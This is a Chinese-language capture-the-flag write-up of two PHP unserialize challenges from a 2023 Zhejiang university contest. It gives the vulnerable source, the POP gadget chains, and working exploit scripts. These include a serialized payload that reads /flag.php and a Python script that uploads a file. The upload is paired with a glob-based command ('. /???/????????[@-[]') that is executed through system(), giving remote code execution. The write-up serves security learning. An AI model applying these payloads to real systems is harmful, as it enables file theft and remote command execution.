2023年浙江省大学生省赛决赛反序列化复现
2023年浙江省大学生省赛决赛反序列化复现
easy serialize
源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in /flag.php
error_reporting(0);
class baby{
public $var;
public $var2;
public $var3;
public function learn($key){
echo file_get_contents(__DIR__.$key);
}
public function getAge(){
return $this->var2->var3;
}
public function __isset($var){
$this->learn($var);
}
public function __invoke(){
return $this->learn($this->var);
}
public function __wakeup(){
$this->getAge();
}
}
class young{
public $var;
public function __toString(){
return ($this->var)();
}
}
class old{
public $var;
public function __get($key){
return "Okay, you get the key, but we send you ".$this->var;
}
}
if(isset($_GET['age'])){
@unserialize($_GET['age']);
}
else{
highlight_file(__FILE__);
}
?>
pop链
1
2
3
4
5
6
baby::learn($key)
baby::__invoke --> baby::learn()
young::__toString --> baby::__invoke
old::__get --> young::__toString
baby::getAge($var2) --> old::__get
baby::__wakeup --> baby::getAge($var2)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class baby{
public $var;
public $var2;
public $var3;
}
class young{
public $var;
}
class old{
public $var;
}
$a = new baby();
$a->var = "/flag.php";
$b = new young();
$b->var=$a;
$c = new old();
$c ->var=$b;
$exp = new baby();
$exp->var2 = $c;
echo serialize($exp);
// O:4:"baby":3:{s:3:"var";N;s:4:"var2";O:3:"old":1:{s:3:"var";O:5:"young":1:{s:3:"var";O:4:"baby":3:{s:3:"var";s:9:"/flag.php";s:4:"var2";N;s:4:"var3";N;}}}s:4:"var3";N;}
p2rce
源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);
class CCC {
public $c;
public $a;
public $b;
public function __destruct()
{
$this->a = 'flag';
if($this->a === $this->b) {
echo $this->c;
}
}
}
class AAA {
public $s;
public $a;
public function __toString()
{
$p = $this->a;
return $this->s->$p;
}
}
class BBB {
private $b;
public function __get($name)
{
if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
global $flag;
$flag = $this->b;
return 'ok';
} else {
return '<br/>get it!!';
}
}
}
if(isset($_GET['ctf'])) {
if(preg_match('/flag/i', $_GET['ctf'])) {
die('nonono');
}
$a = unserialize($_GET['ctf']);
system($flag);
throw new Exception("goaway!!!");
} else {
highlight_file(__FILE__);
}
思路
链子其实很简单,CCC 里面 a b 相同比赛的php版本不能再b触发tostring,就要a b地址相同。
BBB里面的全局 flag,命令执行。具体要参考 p 神的这篇文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
构造链
1
2
3
BBB::__get
AAA::__toString => BBB::__get
CCC::__destruct => AAA::__toString
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class CCC
{
public $c;
public $a;
public $b;
}
class AAA
{
public $s;
public $a;
}
class BBB
{
private $b = '. /???/????????[@-[]';
}
// $exp = '. /???/????????[@-[]';
$a = new AAA();
$b = new BBB();
$c = new CCC();
$a->s = $b;
$a->a = 'abc';
$c->b = &$c->a;
$c->c = $a;
$payload = serialize(array($c, null));
$payload = str_replace('i:1;N;}', 'i:0;N;}', $payload);
echo urlencode($payload);
1
2
3
4
5
6
7
import requests
url = "http://10.20.73.123/ctf.php?ctf=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A6%3A%22%00BBB%00b%22%3Bs%3A20%3A%22.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A7%3B%7Di%3A0%3BN%3B%7D"
s = requests.session()
exp = {'uploaded': ('file', "id")}
res = s.post(url, files=exp)
print(res.text)
多运行几次就可以了
本文由作者按照 CC BY 4.0 进行授权